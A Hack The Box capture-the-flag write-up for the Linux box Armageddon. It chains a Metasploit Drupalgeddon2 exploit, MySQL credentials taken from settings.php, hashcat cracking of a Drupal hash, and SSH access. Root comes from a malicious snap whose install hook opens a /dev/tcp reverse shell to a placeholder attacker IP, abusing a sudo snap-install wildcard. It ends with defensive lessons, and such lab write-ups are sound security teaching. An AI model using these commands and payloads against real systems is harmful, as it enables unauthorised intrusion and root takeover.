root@thehacksparrow:~/writeups$ SYSTEM ONLINE
root@sparrow:~/writeups$ cat armageddon.md
// writeups

Armageddon

27 Mar 2021 · 9 min read
Armageddon - maquina de Hack The Box

Executive summary — Armageddon is an Easy Linux box on CentOS 7 that opens with Drupalgeddon2 (CVE-2018-7600), an unauthenticated RCE in Drupal 7. From the resulting apache shell we read MySQL credentials out of settings.php, dump Drupal's users table and crack brucetherealadmin's hash to SSH in. The final escalation abuses a misconfigured sudo rule (NOPASSWD: /usr/bin/snap install *) by packaging a malicious snap whose install hook runs as root. A Drupalgeddon2 → settings.php → MySQL → cracked hash → SSH → sudo snap install → root path.

PlatformHack The Box
Operating systemLinux — CentOS 7 (Apache 2.4.6 + PHP 5.4.16)
DifficultyEasy
StatusRetired
Target IP10.129.48.89

Attack map

[80] Drupal 7 (CentOS 7, Apache 2.4.6, PHP 5.4.16)
   │  CVE-2018-7600 (Drupalgeddon2) — Forms API property injection
   │  via form_build_id → unauth RCE → apache
   ▼
[FILE]  sites/default/settings.php → cleartext MySQL credentials (drupaluser)
   │  mysql -u drupaluser drupal → users table → brucetherealadmin's Drupal 7 hash
   ▼
[HASH]  $S$... (Drupal 7, salted SHA-512) → hashcat -m 7900 + rockyou → booboo
   ▼
[SSH]  brucetherealadmin : booboo  (user.txt)
   │  sudo -l → NOPASSWD: /usr/bin/snap install *  (unrestricted wildcard)
   ▼
[ROOT]  malicious snap (fpm) with an install hook → reverse shell as root (root.txt)

1. Reconnaissance

We add the box to /etc/hosts and run a full port scan:

echo "10.129.48.89 armageddon.htb" | sudo tee -a /etc/hosts
nmap -sC -sV -p- armageddon.htb
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.4 (protocol 2.0)
80/tcp open  http    Apache httpd 2.4.6 (CentOS) PHP/5.4.16

CentOS 7 with Apache 2.4.6 and PHP 5.4.16 (EOL for years) already points to an unmaintained stack. We confirm the CMS with curl:

curl -s http://armageddon.htb/ | grep -i drupal

The <meta name="Generator" content="Drupal 7 …"> tag and robots.txt (with Drupal's typical /modules, /themes, /sites paths) confirm Drupal 7, vulnerable to Drupalgeddon2 if unpatched.

2. Foothold — Drupalgeddon2 (CVE-2018-7600)

What it is: Drupal 7/8 insufficiently validates the form_build_id parameter of its Forms API. An attacker can instead submit an array with injected properties (property injection) that Drupal processes as part of the form's render pipeline, resulting in arbitrary PHP execution with no session or CSRF token needed. Metasploit ships a ready-made module:

msfconsole
search drupalgedon
exploit/unix/webapp/drupal_drupalgeddon2  -  Drupal Drupalgeddon 2 Forms API Property Injection
use exploit/unix/webapp/drupal_drupalgeddon2
show options
set RHOSTS armageddon.htb
set LHOST <ATTACKER_IP>
set LPORT 4444
exploit

The exploit opens a Meterpreter session. shell drops us into a standard shell where we confirm the web process's user:

shell
whoami
apache

3. MySQL credentials and user hash

In Drupal, all database credentials live in sites/default/settings.php (the sites/ directory already showed up in robots.txt during recon):

cat /var/www/html/sites/default/settings.php | grep -A 10 "databases"
$databases = array (
  'default' =>
  array (
    'default' =>
    array (
      'database' => 'drupal',
      'username' => 'drupaluser',
      'password' => 'CQHEy@9M*m23gBVj',
      'host' => 'localhost',
      'port' => '',
      'driver' => 'mysql',

With those credentials we log into MySQL and query Drupal's users table, where the hashes live:

mysql -u drupaluser -p'CQHEy@9M*m23gBVj' -h localhost drupal
show tables;
select * from users;
uid  name                pass                                                          mail
1    brucetherealadmin  $S$DgL2gjv6ZtxBo6CdqZEyJuBphBmrCqIV6W97.oOsUf1xAhaadURt  admin@armageddon.eu

The hash starts with $S$: Drupal 7's own format (phpass-based, salted SHA-512).

4. Cracking the Drupal 7 hash

It's a one-way hash, so we run a dictionary attack. Hashcat recognizes it as mode 7900:

echo '$S$DgL2gjv6ZtxBo6CdqZEyJuBphBmrCqIV6W97.oOsUf1xAhaadURt' > /tmp/drupal_hash.txt
gunzip /usr/share/wordlists/rockyou.txt.gz
hashcat -m 7900 /tmp/drupal_hash.txt /usr/share/wordlists/rockyou.txt
$S$DgL2gjv6ZtxBo6CdqZEyJuBphBmrCqIV6W97.oOsUf1xAhaadURt:booboo

Status: Cracked
Recovered: 1/1

5. SSH access and user flag

SSH as brucetherealadmin:booboo beats the apache webshell: a stable session, scp available, and better footing to explore sudo.

ssh brucetherealadmin@armageddon.htb   # booboo
id
uid=1000(brucetherealadmin) gid=1000(brucetherealadmin) groups=1000(brucetherealadmin)
cat user.txt

6. Escalation — a sudo rule over snap install

sudo -l
User brucetherealadmin may run the following commands on armageddon:
    (root) NOPASSWD: /usr/bin/snap install *

Why this is exploitable: the wildcard (*) lets us install any .snap package as root with no password. A snap can ship lifecycle scripts (hooks) — install, remove, configure… — under meta/hooks/, which snapd runs automatically at each stage. If we package our own unsigned .snap with a malicious install hook, sudo snap install runs it as root. Note: this is a misused sudoers wildcard rule (a technique documented on GTFOBins for snap), not the snapd flaw known as dirty_sock (CVE-2019-7304) — that separate bug abuses snapd's REST API over a fake UNIX socket to self-escalate without needing any sudo rights at all.

On our Kali box we build the package: a directory with an install hook that fires a reverse shell:

mkdir -p /tmp/revshell_snap/meta/hooks
printf '#!/bin/bash\nbash -c "bash -i >& /dev/tcp/<ATTACKER_IP>/4445 0>&1"\n' > /tmp/revshell_snap/meta/hooks/install
chmod a+x /tmp/revshell_snap/meta/hooks/install

We package it with fpm (Effing Package Manager) in snap format:

cd /tmp/revshell_snap
fpm -n revshell -s dir -t snap -a all ./meta
Created package {:path=>"revshell_1.0_all.snap"}

We transfer the snap over SCP and leave a listener waiting for the connection:

scp /tmp/revshell_snap/revshell_1.0_all.snap brucetherealadmin@armageddon.htb:/home/brucetherealadmin/
nc -lvnp 4445

From the SSH session, we install the malicious snap with sudo:

sudo snap install ~/revshell_1.0_all.snap --dangerous --devmode

--dangerous allows installing unsigned snaps (outside the Snap Store); --devmode installs it unconfined, without the AppArmor restrictions that could otherwise block the hook's reverse shell.

The listener catches the connection, already as root:

Connection received on 10.129.48.89 xxxxx
bash: no job control in this shell
bash-4.3# id
uid=0(root) gid=0(root) groups=0(root)

7. Root flag

cat /root/root.txt

Vulnerability summary

PhaseComponentVulnerabilityImpact
FootholdDrupal 7 (Forms API)CVE-2018-7600 (Drupalgeddon2): property injection via form_build_id, unauth RCERCE as apache
Credential exposuresettings.php + MySQLCleartext DB credentials in config + dictionary-crackable Drupal 7 hashSSH as brucetherealadmin (user.txt)
PrivEscsudoers (/usr/bin/snap install *)Unrestricted wildcard: a custom snap's install hook runs as rootRoot (root.txt)

Lessons learned

  • Unpatched Drupal 7 = unauth RCE (Drupalgeddon2). Update the CMS or migrate off it before end of support.
  • Cleartext credentials in settings.php: compromise the webroot and you compromise the whole database.
  • CMS hashes are crackable: use strong passwords and never reuse them across services (here the same one worked for SSH).
  • Never use wildcards in sudoers with binaries that can run arbitrary code (package managers, interpreters, editors…): pin exact paths and arguments.
  • Snap hooks (install, remove, configure) run with the privileges of whoever invokes snap install: if that's root via sudo, the hook is root too.